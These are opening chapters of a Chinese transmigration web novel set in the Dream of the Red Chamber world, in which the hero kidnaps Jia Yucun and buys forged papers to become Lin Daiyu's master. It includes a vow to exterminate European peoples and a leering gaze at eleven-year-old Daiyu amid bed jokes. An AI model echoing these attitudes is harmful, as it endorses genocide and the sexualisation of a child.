《红楼之江山多娇》 第1章 老贾,你要老婆不要? 扬州城。 林府。 太阳西斜,府门打开,林黛玉的西席先生---贾雨村踱步出得门来,施施然向西行去。 此时天气已然立秋,但扬州的秋天总是来的稍晚,暑气还未散去。每日里只有早晚时间,才会让人感觉更舒适一些。 贾雨村一路穿街过巷,他准备在日落时,到瓜洲渡口去喝上一壶茶,看河水汤汤,观夕阳余晖,这是他自被罢官以来,为数不多的乐趣了。 抄近道,刚进入向阳老巷,他忽感自己的肩膀,被人拍了一下,同时耳边传来一个声音。 “老贾,你要老婆不要?” 贾雨村慕然一惊,刚欲转身答话,眼前忽地一暗,紧接着头部传来一阵剧痛,便失去了意识。 再次醒来时,贾雨村只觉眼前一片漆黑。 发现自己的眼睛已被被蒙上了,这让他心中不禁大为恐慌。 贾雨村强忍着头痛,试图坐起身来。 “莫要挣扎了,中了我的龟甲缚,你若能挣脱,我便尊你一声贾老师。” 黑暗中,一个沉稳的粗粝沙哑的声音传来,听起来满是沧桑,好似个中年人。 “你,你意欲何为?我乃巡盐御史林府西席,你切莫自误!”贾雨村忍住心中的惊慌,厉声问道。 “呦,威胁我?”随着对方话音落下。 贾雨村听语气暗藏杀机,心里咯噔一下,坏了!说错话了。 刚想找补两句,就感觉自己的踝骨不知名处,被重重击打,传来阵阵撕心裂肺的酸痛。 他忍不住哀嚎起来,可是刚张开嘴,就感觉被一个布帛给塞了个满嘴。 一股酸臭直冲脑门,顶的他两眼一翻,又晕了过去。 再次醒来的贾雨村,感到嘴里的臭布没有了,他大口喘息了一会儿,正要开口。 嗯?他发现自己右脚发凉,鞋袜不知去向! 那刚才酸臭的破布是…… 贾雨村想到这里,一股酸水从胃部直冲喉咙,他再也控制不住,哕了出来,吐了自己满身。 直到他再也吐不出东西了,整个人也变得有进气无出气。 在地上侧倒着,一动也不动。 一滴眼泪,自贾雨村眼角滑落。 “会说人话了吗?”粗粝的声音再次响起。 贾雨村闻言,吸了吸鼻子,慌忙说道:“会,会了,好汉,有钱,有钱……您即知道我姓贾,必然知道我就是一个西席,我只有银子八十七两二钱,此刻并未全部携带。” “我不要银子。” “啊?不要银子?那……”贾雨村想不出对方要做什么,总不能要自己的命吧,难道是大如洲的泥腿子报仇来了? 贾雨村的心瞬间又提了起来。 “做一笔交易吧。” 交易?闻听此言,贾雨村的心稍稍放了放,忙接话道:“好汉请说。” “三日后辰时,你接个人进林府,介绍给林黛玉做师父,她父亲林如海那里你来办。此事办成,你性命得保,你在大如洲做的丑事,也不会被林如海知晓。” “啊?就这?”贾雨村不由得喊叫了起来。 “就这!” “好汉可以直说啊!何苦让我受这个罪啊。”贾雨村痛心疾首。 “听说贾雨村是个贪生怕死之辈,我就想看看真假。” 贾雨村气结。 他平复一下心情,思索了一下问道:“做黛玉的师父?是何意?” “在信中,你看着编。” 对方话音落下,贾雨村就感觉到自己的怀里被塞了个物件儿,然后忽然感觉身子一松,捆着自己的绳索散落开来。 贾雨村一喜,活动了一下手臂,就想摘掉自己头上的面罩,但他忽然好像想起了什么,伸出的手又停了下来。 “好汉,好汉?你还在吗好汉?” 随后左右转头,声音变轻:“好汉?好汉……” 又唤了一会儿,但周围除了他的声音,再无其他动静。 贾雨村这才放下心,一把薅下了脸上的面罩,慌忙向四周看去。 只见黑洞洞一片,一个人影也无。再往远处,灯火点点,天全然黑了下来,自己竟然在一个空旷所在,似是荒地一般。 再往自己的怀里掏了掏,摸起来果然是一封信! 此时一阵冷风吹来,他不由得打了个哆嗦,此地不宜久留。 贾雨村忍着右脚传来的阵阵酸痛,在黑暗中,深一脚浅一脚,终于摸回了大路,往林府赶去。 一路上,他脑海里不停的在想如何应对。 报官?好像不成,人不一定抓到,但自己必遭报复! 跟林如海说明?对林如海可能有好处,但对自己能有甚好处?反而面临被辞退的风险。 简直就是杀敌一百,自损一千! 思来想去,自己也只能按照对方说的办,等见了人,以后再做计较。 回到林府后,赶走了服侍丫鬟,也顾不得收拾自己衣装,忙掏了出怀中的信件。 字还不错,标准的台阁体。 【今有琼花观俗家弟子秀才李素,年十六,江都下花园人氏,现已得道,人称琼花观小神仙!】 【其人身高八尺,鼻若悬胆、目如朗星,赛潘安,羞宋玉……有君子儒雅之气、有仙气、有侠气。】 【善养生,善养身,善养寿。】 【闻听林御史之女林黛玉体弱,然其为绛珠仙子临凡,在天庭李素为其三千年之友,故此世下凡为其壮身增寿。】 【名为师徒,其善也哉!】 信中内容,到此完了。 无耻!荒谬!……不要脸!简直就是不要脸! 比自己在大如洲糊弄泥腿子还能编。 贾雨村拿着信,气的手都哆嗦了. 在心里骂了半天,贾雨村陷入了沉思,要不要报官把这个李素抓起来?理由是什么呢?刺探朝廷命官内宅? 那今天绑自己的中年人,能不能抓到? 看对方能这么放心的把信息给自己,对方应该防着自己这一手,自己如此珍贵的性命,能不能保? 另外到底是谁在策划此事?几个人?一群人? 林如海是巡盐御史,巡盐,御史,巡盐…盐…这两个词来回在他脑子里晃了晃,贾雨村悚然而惊! 如果背后是盐商那几大家族的话? 嘶! 贾雨村不敢想下去了,要命! 此时李素也在客栈中,躺了下来,终于舒了一口气。 这具身体实在太弱了,自己在原来世界虽然是个经纶满腹的军医,但也是人人称道的金刚秀才,徒手大比武的尖子兵。 今天绑架个老官油子,竟然出了一身的汗,疲惫不堪。 不一会儿他就沉沉的睡了过去。 夜半。 客栈中突然响起了一声惨叫!惊起了不知几只熟睡的猫儿。 李素又做噩梦了。 梦里的他,再一次被核爆的场景吓醒,虽然前世死的无痛无觉,但那种遮天蔽日的场景,仿佛烙印在了他的骨子里,核爆仿佛是人类生命最深处的恐惧。 冷汗淋漓的李素,喘息着坐了起来,脑子里不停的告诉自己。 必须,必须把这个世界摁死在农业社会上。 掐死欧罗巴的工业文明,他们就是魔鬼! 灭其文明,绝其苗裔! 第2章 道爷我成了! 欲做如此大事,只能希望自己带来的系统靠点儿谱了! 李素唤出了脑海里金手指的窗口,又看了看,还是极为安静,毫无变化。 【深情系统】,激活条件:收林黛玉为徒。 就这么一行字,到现在为止,除了让李素知道自己戴了个什么属性的金手指以外,就是知道了自己在红楼世界。 看着这一行字,李素心里就不是很踏实,他怀疑这这个系统好像不正经。 这样的系统能成为自己梦想的助力吗? 自己战场可不在床上。 得两手准备才好,好在自己,已经取得了秀才功名,系统要开,科举也要走! 身体更要练,不然床榻小战场,他也上不去。 此世前身李素,自打小就被要求读书!读书!读书!所以书呆子养出了个病秧子。 父母一病不起,双双离世后,书呆子李素也哀恸而去,随之被核爆后转生的李素附身夺舍。 来之后的李素,脑子里除了继承了一脑袋之乎者也,其他竟然什么记忆也没有。 更奇怪的是,他给父母下葬,也无人吊唁,无人随礼,只有人看热闹,好像自己的家在这里,就像左邻右舍说的是个孤寡户。 沉思了几日后,李素把父母遗留下的家产全部变卖,带着银子进扬州城,找林黛玉开系统。 不管系统管正经不正经,这总归是自己越阶的希望,不然单凭自己的能力科场争斗,难。 哪个时代的朝堂都是妖魔鬼怪云集,单凭自己有限的权谋认知,很大概率会被人吞的毛都不剩,更不用提那远大的梦想了。 所以必须开系统! 更何况林如海,又是深入朝堂的一个极好触角。 进城侦查后,他很庆幸此时林黛玉还在扬州,父母双全,贾雨村刚进府教书。 那么如果自己再想进府教书已经不可能,更不用说没有人推荐,林如海都不会搭理他。 于是李素想,既然儒家不通,干脆就走道家,以养生专家的身份进府,跟贾雨村一块儿互补带孩子,这样林如海也比较容易接受。 那么接下来的问题,就是要找人介绍,没人介绍进不了林府。 所以,他唯一知道姓名来历的贾雨村,就李素被动成了自己的介绍人。 熟人转介绍,靠谱! 盯了林府三天后,终于找到机会劫了他。 戏已开锣,接下来,就该把戏给唱圆满了。 李素摸了摸怀里的银票,七百八十两!其中有五百两是他在家里找出了一窖藏银,这些藏银没有躲过他这个老兵的探查。 也不知道常年种地的老两口儿怎么存下来的。 李素在脑子里过了一遍明天的计划,然后重新睡了过去。 第二日,琼花观。 李素拿出了银票放在了观主的桌上。 “这位哥儿,您是什么意思?”妙善观主看着桌上的银票,咽了咽口水。 “我要当道士。” “那,用不了这么多银钱。”妙善虽然想要,但还是个有良知的道士,没打算破坏市场价。 李素摇了摇头:“我是要当俗家弟子。” 妙善忍不住笑了:“哈,哈,这从何说起,那更要不了这么多银子了,您怕不是被谁给骗了吧?” 李素也笑:“除了电诈没人能骗我,我还要度牒,陈年的度牒!时间就定在八年前吧,我还要您代师收徒,当个小师叔。” “呃!”妙善被这句哈一下子给噎住了,俗家弟子办度牒,这没有过的事儿啊,还要造八年的假,这得做旧。 他瞪大了眼睛看着眼前的少年,竟然一时不知该说什么了。 “能不能办?”李素把桌子上的银票往妙善那边推了推,盯住了妙善的眼睛。 妙善缓过神儿来,看着银票,咬了咬牙:“能办,太能办了!” 李素把银票往妙善跟前一推:“哈哈,多谢师兄,度牒今日就要,住在观里不走了,你叫人来认小师叔吧。呃,对了,我应该是个什么道号啊?” 既然事情已经谈到这里,妙善也就不客气了,好整以暇的收起了银票,笑着说道:“小师弟,你随我是妙字,妙玉如何?” “不如何,我没洁癖。”李素赶紧摇头。 “那妙洁?” “说了没有洁癖。” “妙才?” “我不。” …… 妙善有些词穷了,两手一摊:“那总不能师兄我把自己的道号让给你吧。” “那,妙言吧。”李素想了个正经的。 “行。” 妙善已经无所谓了,爱叫啥叫啥吧,给银子就是爷。 他把银票揣到怀里,拉起李素的手就往外走,“走,师兄带你认认道友。” 琼花观的小师叔新鲜出炉了。 贾雨村中午时分,装模作样的跟林如海告了 假,说有同年高士过扬州出去饮宴,随后他找了个馆子喝了一场,酒醒后,就跌跌撞撞的回了林府。 进府以后就大嚷着跑进了林如海的书房:“哈哈哈,东翁,东翁啊,大喜事啊,哈哈。” “哦?喜从何来啊,时飞,慢些说,先吃盏茶。” 林如海奇怪的看着这个平时端方稳重的贾雨村,不太明白他为何如此失态? “不忙喝,不忙喝,东翁啊,我同年得知我在林府任西席,教授女公子学问,席间谈到了黛玉的身体较弱。他不忍见大人为国操劳,还要为爱女体弱忧心,于是给我推荐了一个养身的道家高人,并断言必能解东翁之忧。” 林如海闻言一喜:“果真?” “果真!他说后日,保证人到林府。”贾雨村高声凿凿。 “那真是大好事,时飞兄,有劳了。” 林如海给贾雨村行了个礼,他并不怀疑事情有假。 官场之中,公事可能十句话有十一句是假的,但是这种私事可不敢乱说,乱承诺,不然会臭。 “哈哈哈,本是我分内事,雨村自遭遇戕害贬谪以来,有劳东翁收留才得以生存,雨村恨不得,恨不能拜……” 他赶紧搂住话头,用力的抹起了眼睛,很快被揉的通红。 林如海,君子。 贾雨村就以为可以欺之以方。 岂不知他演的有些过了头,让林如海起了疑心:“那到家高人,在哪个灵山妙观修行?” “啊,呃,这,好像是琼花观,还是秀才出身。” 有功名?林如海不自觉的点了点头。但暗地里想,回头还得派人去查问查问,自己的这个位置太敏感了。 这天夜里。 琼花观摘星楼上传来一声长啸:“道爷我成了,哈哈哈哈。” “道爷我成了啊,哈哈哈哈,三花聚顶!南天门!白玉京!哈哈哈……” 声音变得癫狂,撕破了长夜的宁静。 紧接着大道士、小道士、不大不小中道士,不约而同的打着火把涌向了摘星楼。 喊的嗓子生疼的李素,准备好了碎银子,颤颤巍巍的下楼,迎接贵客! 第3章 琼花观的小神仙 琼花观的小神仙! 这个名头,在领了银子的大小道士努力下,次日一早就自琼花观,开始向周边扩散。 很快就传遍了扬州城。 一日间,流言四起! “琼花观的小师叔成仙了,你知道吗?” “啊,你也听说了?”我还听说他叫妙言。” “那是道号,俗家名字叫李素。” “什么俗家名字?人家就是俗家弟子,听说还是秀才,去年县试的秀才。” “对对对,我也知道,才十六岁。” “儒道双修啊,这真是神仙了,咱们要不也去拜一拜?” “对对,我也去,我夫人怀胎十二个月了,保佑我能生个儿子。” “呸,你这只能保佑不生妖怪了。” “妖怪?听说昨夜小神仙就抓了个妖怪,叫白玉精!听听这名字,这得是多贵的妖怪啊……” “这我知道,那个妖怪名字叫三花!老家住南关门。” “妈妈批的,什么南关门?是东关街!” “东关街?我昨日还去了!” …… 扬州城里就传言满天飞,这年头人们对神鬼的传言异常的感兴趣,再加上精神生活匮乏,有了谈资,就是街头巷尾打招呼的最好材料。 只要是传言,就一定会歪,这是古今都不变的规律,小神仙就被歪的神乎其神,说书先生都开始往上凑了。 扬州街上有两伙儿人明显与旁人闲谈不同,他们则是到处打听李素的情况,问的非常仔细。傍晚时分,一伙儿人回了林府,另一伙人则出了扬州城,急奔泰州方向而去。 琼花观小神仙?还有秀才功名?十六岁? 林如海闻言惊异,这妥妥的传奇!同时心也放了下来,被晒到阳光下的人才让人踏实。 李素在观里吃着粥,心下暗叹,如果要办点事儿,银子果然就不经花。昨夜他把银子全部洒完,今天才成了扬州城的野生名人。 他现在就是一个只剩十几个大钱的穷鬼了,成与不成就看明日,李素握了握拳头。 李素奔向了妙善的屋子,大喊道:“师兄,救命啊。” 妙善闻言就是一哆嗦,说实话他现在有些后悔了,今天李素的名号在扬州传开后,他就后悔了。弄这么大动静,如果说李素不搞事,打死他也不信。 自古传神仙之名的前辈,就没有几个善茬,徐福、江充、张角、林灵素……全都做下了好大事。 他特别担心李素要搞什么惊天大事,死之前顺便把自己也给埋了。 妙善还没等李素进屋,就慌忙站了起来,摆手道:“妙言师弟,出何事了?师兄我能力有限,琼花观更是观小财薄,你的事儿师兄帮不了啊,你还是到别处去吧,师兄我要睡觉了。” 说着他就把李素往外推,欲伸手关门。 李素迅速伸出了一只脚,卡在了门里,嚷道:“师兄,你让我把话说完。否则我就不走了。” 妙善见状无奈,只好开口道:“你说。” “你早晨练的那个拳是什么拳?有什么用处?我想学。” 妙善一怔:“你说这个啊?你早说啊,看这误会闹的,夹脚了吧,师弟快进来。” 随后满面笑容的打开门,拉着李素进了屋。 “师兄,你也看出来了,我体弱,你练的那个拳看起来是个养生练气的,能救师弟我的命啊。” 李素刚才忽然想起来,自己可不会养生的功夫,只会从医生角度去保养理疗人体,调配各种膳食纤维的搭配,但这些东西林如海可不一定认。 还需要再稳当点儿,所以盯上了妙善的功法。 “你等着。”妙善转身上了自己的床榻,拉开一个柜门,从里面拿出了三本书。 然后关上柜门,跳下床递给了李素:“这上面一本就是师兄我练的,是妙应真人传下来的《导引术》,这两本是扶摇子真人传下的《蛰龙法》《睡仙功》。” 李素接过书册,看着应该有些年月了。 翻了几页,只见图画清晰,文字易懂,李素把书揣进了怀里,然后开口说出了自己的疑问:“师兄,扶摇子我知道是陈抟老祖,妙应真人是谁?跟我们一个辈分?” 妙善笑着解释道:“孙思邈,孙真人的道号妙应,我道家只要不在一个谱系,辈分无关紧要的。” 李素点点头:“懂了,多谢师兄,不过,你把书给了我,你怎么办?” “师弟请看。”妙善转身打开了靠墙的书柜。 李素打眼看过去,一摞摞崭新的书塞满了柜子,最上面的书名,赫然跟自己手上的书名一致。 李素怔了怔,心下暗嘲,自己真的是表错了情,想瞎了心。 他冲妙善竖了个大拇指:“师兄,你果然是个善于理财的,把自己用旧的给我,新的留着卖银子。” “哈哈哈,咱家观小,不像隔壁的和尚庙富裕,就得精打细算啊,让师弟 见笑,见笑。” 京城。 大明宫,一个幽暗的房间。 老人走进来后,内侍关闭了房门,老人在上首坐下,看着跪着的黑衣人开口说道:“真找到了?” “扬州江都下花园,曹吉祥化名李德全,与畅春宫冯春结为夫妻。” “哼!没卵子的阉货!” “陛下,他们养了一个孩子。” “孩子?什么孩子?那,那孩子如何?”老人闻言,浑浊的眼睛,瞬间精光四射,双手不自觉的握紧了扶手。 “名李素,年十六,俊逸非凡,似不是人间之貌,不像义……不类父。” 老人面色更加阴沉了,随后爆怒道:“还敢姓李?留这么个尾巴,不是找死吗?阉货就是阉货,该死的东西!” 好一会儿,老人粗重的喘息,慢慢平复下来。 缓缓说道:“年龄对的上,容貌类必是母了,类母才对,类母才对……唉。”随后老人闭上了眼睛,好像陷入了回忆。 过了一会儿才又开口道:“心智如何?” “书痴,考取了秀才功名,中下之资。” “李冯二人如何了? “已死,取病灶塞其口。” “那……那哥儿可有何特征?” “脚底三颗痣,陛下,可要把他……” 老人叹了一口气:“随他去吧,终究是逆子留下的最后一点骨血,相关人灭口,尾巴扫干净,不然他活不下去。” 太极宫。 夏守忠凑到雍和帝耳边,小声说道:“陛下,奴才得信儿,戴权的人去了一趟扬州。” “扬州?做什么去了?”雍和帝眉头一皱,扬州对他来说太重要了。 “奴才不知,但那些人是在暗查四王八公多年的人,尤其在贾家暗查许久,尤其今年密集性查贾敬。” “贾敬!”雍和帝不由得攥紧了拳头,同时眼睛眯了起来。 “奴才暗查,贾敬偷偷去过扬州,所以奴才猜测,是不是扬州有什么?或是那位在外留下了血脉?” 雍和帝立刻开口道:“派人去扬州。” “如果?” “父子相聚,人生乐事。”雍和帝幽幽开口道。 谁也不知,一场暗流自京城开始,涌动了起来,杀机暗伏。 而李素此时一脸大喜。 他翻看三本秘籍,竟然发现自己有了过目不忘的本事! 第4章 如海三声笑 第二日,辰时。 贾雨村早早的等在了门口。 李素修长的身形出现在贾雨村的视线里时,他瞪大了眼睛,呆若木鸡。 心中暗呼:是他! 就是他! 不为别的,他发现那封信上对于李素的描述,竟然没有吹牛,真是邪了门儿,男人能长成这样子? 自己长的也算是英俊了,但跟对方一比,好似是女娲脚底板,带出来的泥点子化的了。 “时飞兄长,别来无恙。”李素走到贾雨村面前,作揖唱礼。 贾雨村假笑回礼:“哈哈,李素贤弟,愚兄今日终于是见着真神了。” “久仰时飞兄大才,为人方正,不与贪官为伍,不与禽兽同道,今日得见,果然名不虚传。” 贾雨村此时终于把心放在了肚子里,他听懂了潜藏的信号。 你好我好大家好,我不好,你也不好! 于是真的开怀大笑起来:“哪里,哪里,都是虚名,贤弟才是仙姿绰约,得道高士,扬州名流巨贾谁不想一睹仙颜。” 李素也开心的笑,互捧,互抬,好开局。 贾雨村把住李素的手臂,拉着就往府内走:“贤弟,东翁已经久候多时,请随我来。” 进了府,李素四处打量着林妹妹的家。 入府后是一个影壁,绕过影壁是一片花园,沿着花园廊道再往后走了约莫百米,豁然是一个合院,这就是林府的前正院了,两侧又配有东西两个跨院儿。 沿墙随径,种着各种花草矮木,整体格局观来更偏北方的建筑特点。 正院的中间是一个高大厅堂,一个看起来年近四旬许的中年人,容貌清雅,身量单薄,刚迈步出得门来,立在堂前,抚须含笑看向了他们。 这气度容姿,必是林如海。 主人迎出房门,给足了面子。 林如海对今日见李素也颇为期待,其一是对女儿身体有好处,其二就是关于李素的传言有些神乎其神,探花郎也有好奇心。 见到李素当面,林如海就心生欢喜。 完全长在他的审美上了,身材修长,挺拔如松,目光清正。 除了看起来有些单薄以外,整个人清清爽爽,干干净净。温润方正,俊逸非凡的五官又增了些出尘意象。 好一个风姿美少年! 李素见到林如海在堂前迎接,暗道一声,成了。 直觉上他感到已经不需要贾雨村了,自己主动会效果更好。于是就自行大步向前躬身一礼,朗声道:“琼花观俗家弟子妙言见过大人。” 正满脸堆笑,想要开口介绍的贾雨村,被李素这一操作整的愣在了当场,这应该他先开口才对。 林如海听李素的话,又打量他。 俗是挺俗的,浑身上下没有一点儿道士的影子。 不过李素主动行礼问候,没有拿捏什么高人的风范,没有装腔作势,质朴守礼不卑不亢,这让林如海的观感极为舒适,对李素好感又增。 林如海也含笑上前扶了一把李素:“果然不同俗流,听说妙言真人还进学了?” “真人当不得,大人直接叫我妙言或者李素即可,去岁的新科秀才。” “哈哈哈,新科秀才!妙言真是用的好词,来,里面请!”林如海再生喜欢,把着李素的手臂往厅内引。 贾雨村心里有点儿酸,自己好像被遗忘了。 “大人请,时飞兄长请。”李素没有把媒人扔过墙。 贾雨村闻言心中不由一暖:“哈哈哈,请,请。” 到了厅中落座后,侍女上了茶,李素开口道:“大人,本是前辈相请,雨村兄长相求,我才应了来贵府,助令嫒调养身子。但不曾想我修道入定,照见前世,才知令嫒乃绛珠仙子临凡渡劫,与我千年为友,缘分二字何其妙也。” 贾雨村听到这话,想起了信中内容,明白李素是在提醒他帮腔了,于是他拍手大呼:“妙啊,这真真的是好缘分啊,哈哈。” 林如海听完微笑颔首,没说话。 李素见状,话锋一转:“大人可以不必在意我所说的前世今生,这样的事情,修道者一般也不会说,不求人信,徒惹外行讥讽。我见大人如见长辈,心感孺慕之情,才想着不须隐瞒,知大人必不会取笑于我。” 林如海对神鬼之事,不予置评,但李素后面的话让他很是舒坦。 但事关女儿身子,他还是就事论事,他说出了自己的疑问:“我观妙言身体亦是不壮啊。” 面对此言李素早有腹稿:“大人有所不知,我修的是内壮法,更以血肉养心魄,后天以养先天,如今心魄养成以后不再索取,今后则先天反哺,身壮就在年余之内。” 林如海摇头道:“啊,小女,可禁不得内壮。”以黛玉的娇弱体格,一下就能给养没了。 “大人明鉴,令嫒的情况我早有考量,不适合走我的路。她先天无缺,后天不足。故我准备了陈抟老祖的《蛰龙 法》和《睡仙功》,再行以妙应真人的导引术,几下里结合就能解令嫒之忧。” 说着他从怀中掏出了三册秘籍,放在了林如海面前:“这是我师兄,琼花观主修持的根本法。” 林如海拿过来观看,感到这书确实有些年头了,是经常翻看的。 李素接着面色更添谨慎,说道:“更加之膳食调配,肌理阴阳行转,不出三五年,令嫒都能拔上一棵垂杨柳树。” 林如海听李素说的形象,他脑子里顿时有了画面,娇小纤弱的黛玉,抱着一棵大柳树,用力拔出了地面,于是再也忍俊不禁:“哈哈哈,妙言、妙言说笑了,玉儿,她哪做的那般事情?” 林如海,今日里第二次大笑。 李素表情不变,继续正色道:“这真未必,我李素本一书痴,双亲丧后,一朝顿悟才有了今日能与大人坐在一起喝茶的资格,更何况令嫒乃阆苑仙葩,倒拔垂杨柳树,并非不可能之事啊。” “她那小小身子,还倒,倒拔……哈哈哈。”林如海再次忍不住笑了起来,身子有些发抖,眼泪都要笑出眼眶了。 林如海第三次大笑。 随后他平复了一下心绪,把手中的秘籍推还给李素,正色道:“妙言,切勿再说,我林如海就将小女壮身增寿之事拜托了。”林如说着站起身向李素行了一礼。 “学生李素,谨遵前科探花郎前辈林公之命。”李素起身回礼。 道家用完,儒家躬身。 “哈哈哈……”又是一阵大笑,这一次混入了雨村的气泡音。 真是一眼贾。 第5章 与黛玉,初相遇。 “太太!” “姑娘……” “老爷,老爷已经大笑三次了!” 丫鬟雪雁再一次气喘吁吁,狂奔进了后宅。 贾敏听罢笑颜如花,瞧向了黛玉:“玉儿,看来这次老爷给你找了个好师父。” 正在写字的林黛玉,停下了手中的笔,膏眉轻抬,细声慢语:“师父好不好,玉儿不知,父亲倒是好了。母亲可知为何,要称为师父?而不和雨村先生一般称作先生?” 贾敏笑着为丈夫解释:“你父亲自任这巡盐御史,夙夜忧叹,难得见他开怀,今日想必是这位小神仙是个真有能为的,定对调养你的身子真有好处,才会如此失态。” “至于为何不叫先生,似是道家的说法吧。” 黛玉听完母亲的话,“扑哧”笑出声来,随后跑到贾敏面前,拉住了她的手道:“母亲倒是果然与父亲知心,玉儿只是说说罢了,母亲说这么许多话,倒是显得玉儿小气了。” 接着她瞧向了雪雁:“我这还没见面的神仙小师父,可有什么法力?” 问完这话,黛玉或觉得自己对李素的称呼有趣,又抿嘴儿笑了起来。 雪雁却被黛玉这话给问住了,皱眉想了想道:“好似,好似是有的。” 黛玉惊奇道:“果真有?是何等法力,说来听听。” “就是,就是奴婢偷偷瞧他,心就跳个不停,想必是被他施了法。” 黛玉闻言忍不住啐了她一口:“呸,你偷懒被我抓住,每次也说被吓的心跳个不停,又拿这话来填我,你瞧我信是不信?” “不不不,小姐,这次是不同的。”雪雁连忙摇手否认。 黛玉走上前去揪雪雁的耳朵:“怎么个不同法?你倒是给我说个清楚,道个明白。” 雪雁见黛玉要动手,慌忙躲避求饶:“小姐,这次是真的。” “那之前都是假的了?”黛玉再追。 雪雁再躲,嘴巴不停:“不不,之前也是真的。” “呸!你哪次都说是真的,看我饶不饶你。” 二人在屋子里围绕着贾敏追逃,笑闹起来。 此时又有丫鬟走进了屋子,对着贾敏一礼:“太太,老爷让小姐去前院。” 贾敏听完回道:“去跟老爷说,小姐更衣后就去。” 随后伸手,一把搂住了跑过自己身边的黛玉:“好玉儿,老爷唤你了,先缓缓身子。”说着拿出手绢儿,给黛玉轻轻拭去面颊的细汗。 刚才一阵玩闹,让黛玉的小脸儿微红,泛起了绒毛细汗,气息还有些急促的她,看向贾敏:“母亲可要去瞧瞧?” 贾敏失笑道:“净说痴话,我如何能轻易见得外男?” “母亲难道不好奇?” “我可以等玉儿回来,说与我听。” 等黛玉气息恢复,贾敏又给黛玉换了一身衣裳,才由雪雁伴着向前院儿行去。 而此时,李素也卖完了自己,开始认真的说起了养身膳食。 “人体的水份大约占到了七成左右,年龄越小,水份越高。所以令嫒的饮食首重选水,生水、冰水都不能饮用,必须是好泉水煮沸才可。” 林如海接话:“水煮沸方能饮,此事我知,李东璧在本草中有记载,但人体含水七成?这真是不可思议。” “水除了藏于血以外,还藏于皮、藏于肉,藏于五脏、藏于脑、甚至骨中,若人体无水就如砂砾枯木,也似这桌案。”李素说着敲了敲一侧的茶案。 林如海抚须频频点头,贾雨村也在一旁做恍然大悟状。 “其次是肉、蛋、奶、蔬、谷五类,每日里均衡摄入。其中含有养生壮身之必要的微量灵机。” 林如海跟贾雨村频频颔首,这听起来这就是专业,而并非一般江湖骗子说的玄乎又玄之言。 言之有物,逻辑有序。 “这除了玉儿之外,对其余人是否也有益处?”林如海提出了个疑问,他想着自己夫人身体也不是那么好。 “有,但用量配比是有区别的,就好比……” “对症下药,因材施教。”贾雨村接话道。 李素击掌赞道:“就是如此,时飞兄通达。” “前面说的是养,最后才是补,而补就是药材,此类要慎用,尤其令嫒这个年龄,呃,令嫒庚年是?” 李素突然想起来,自己应该确定一下黛玉的年龄到底是多大。 此时外面有丫鬟来报:“老爷,姑娘到了。” 李素历时转头向门外看去。 两个姑娘缓缓步入堂中。 其中一人,不用问,就知是黛玉。 那千古第一娇弱的气质,只有她! 黛玉穿着淡绿色的对襟窄袖纱衣,头上戴着一个白玉蝴蝶髻,身上穿着藕荷色的大红洋缎长袍,腰束白绫细带,外罩一件藕荷色的披风。 膏眉黛目,目光脉脉,幽幽藏水,丹唇小口如那刚挂了红的海棠,莹莹润 润。 与李素对视一眼,就如受了惊的小兔,慌忙扭开了头。 黛玉此时内心也极不平静,脑海里不断的滚动着雪雁的话:这丫头说的竟然是真的,果真对我也施法哩,真个不同,竟然真个不同…… 尤其是不知为何,她忽然心里有一种感觉,这个师父似是在哪里见过的,似是旧相识。 林如海见黛玉到来,哈哈哈大笑,站起身向黛玉招手道:“玉儿,来见过你师父,刚才正说着你以后的餐食问题,又谈到了你的庚年,你来对师父说吧。” 黛玉细步向前,盈盈一拜:“见过父亲。” 随后,她又扭过身冲向李素,秀目微抬瞧向了李素,见李素目光灼灼正望着她,她忙把头扭向了一边,臻首微垂,蚊声道了一声:“见过小师父。” 这个小字,好像是她最后的倔强一般,李素想笑。 李素低头见她雪白的脖颈,竟然随着扭头,挂了一抹淡粉色,情知是这孩子羞了。 于是双手虚扶,微笑道:“你我本是旧相识,无须多礼,还没拜师呢,姑娘庚年多少?” “十一。”黛玉一怔,答道,但心里琢磨,原来真是旧相识么? 十一? 李素有点儿懵,刚才看着黛玉年岁就有点儿大,果然如此,根据书中描述此时应该是六岁才对,怎么就十一了呢? 现下,李素对红楼梦中迷团一般的年岁,暂不做计较。 转身向着林如海道:“大人,正是好年岁,若早则影响发育,若晚则来不及……” “现下里,刚刚好。” 说完他又瞧向了黛玉,有点儿瞧不够。 黛玉又急忙躲开李素的目光,心下琢磨着刚刚好,三个字。 第6章 才收徒,又拔柳! 林如海抚掌道:“好,雪雁,给你家姑娘端茶。” 雪雁急忙应声,斟了一盏新茶递给了黛玉,黛玉接过来后,缓步走向了李素,她感觉自己的心跳的更快了。 师父法力高强! 走到李素近前,黛玉都觉得自己的心,就似快出了喉咙一般。 随后她抿了抿嘴,勇敢与李素对视,双手端杯上抬。 “师父请用茶。” 李素看着黛玉纤手细指递来的茶盏,内心一阵激动,马上就成了。 他不再犹豫,微笑点头接过茶盏,随后一饮而尽,正要说话。 但他忽然呆住了,双目无神,眼角似要流下泪来。 原来刚才喝完茶,他就看向了系统,谁知系统给了他一个大惊喜,大大的惊喜。 【深情系统】 激活条件一:收林黛玉为徒,已完成。 激活条件二:林黛玉倒拔垂杨柳,未完成。 竟然出现了,激活条件二! 二?!! 二!!! ……! 李素心里堵。 二目无神,花了那么多银子! 还搞了绑架,买了度牒,诈了功法,造了谣言。 现在更是一贫如洗! 看着眼前这个小小身段儿,盈盈一握,娇娇怯怯的黛玉。 这是能拔柳的吗? 难道是自己乌鸦嘴,跟林如海吹过头了?李素恨不得给自己几个巴掌。 拔柳,拔柳,拔柳! 把林如海是哄开心了,自己怎么办? 李素欲哭无泪。 黛玉见李素喝完茶,竟然呆呆的盯着自己,好像要流泪一样的悲伤。内心竟也好似受了什么感染,心中一酸,双目竟然也泛起水雾来了。 林如海见二人僵住了,表情也不太对,急忙唤道:“妙言,妙言。” “啊,大人,是我失态了,刚才喝过玉儿的茶盏后,一时间脑海中竟然浮现了前世画面。”李素赶紧瞎编。 黛玉闻言一怔,前世么? “额?是何画面?”林如海问。 “大荒山无稽崖下,我被一妖怪打伤,是玉儿路过救了我一命,没想到再相遇,已是千年。”李素说完吸了一下鼻子,抬手用衣袖擦了一下眼角。 又是前世,又掉眼泪的,林如海被搞得,都些相信了。 毕竟不是同行,不知真假。 李素随后深吸一口气,向黛玉说道:“三千年前你救我,三千年后我度你。” 黛玉眨眨眼睛,心说是这样么?心跳好快,但良好的家教,还是让她能够合宜回话:“有劳师父了。” “哈哈哈,师父保你能壮拔一棵树,这是师父送你的秘籍,你先回去看一遍,回头师父带你研读。”李素把三本秘籍递给了黛玉。 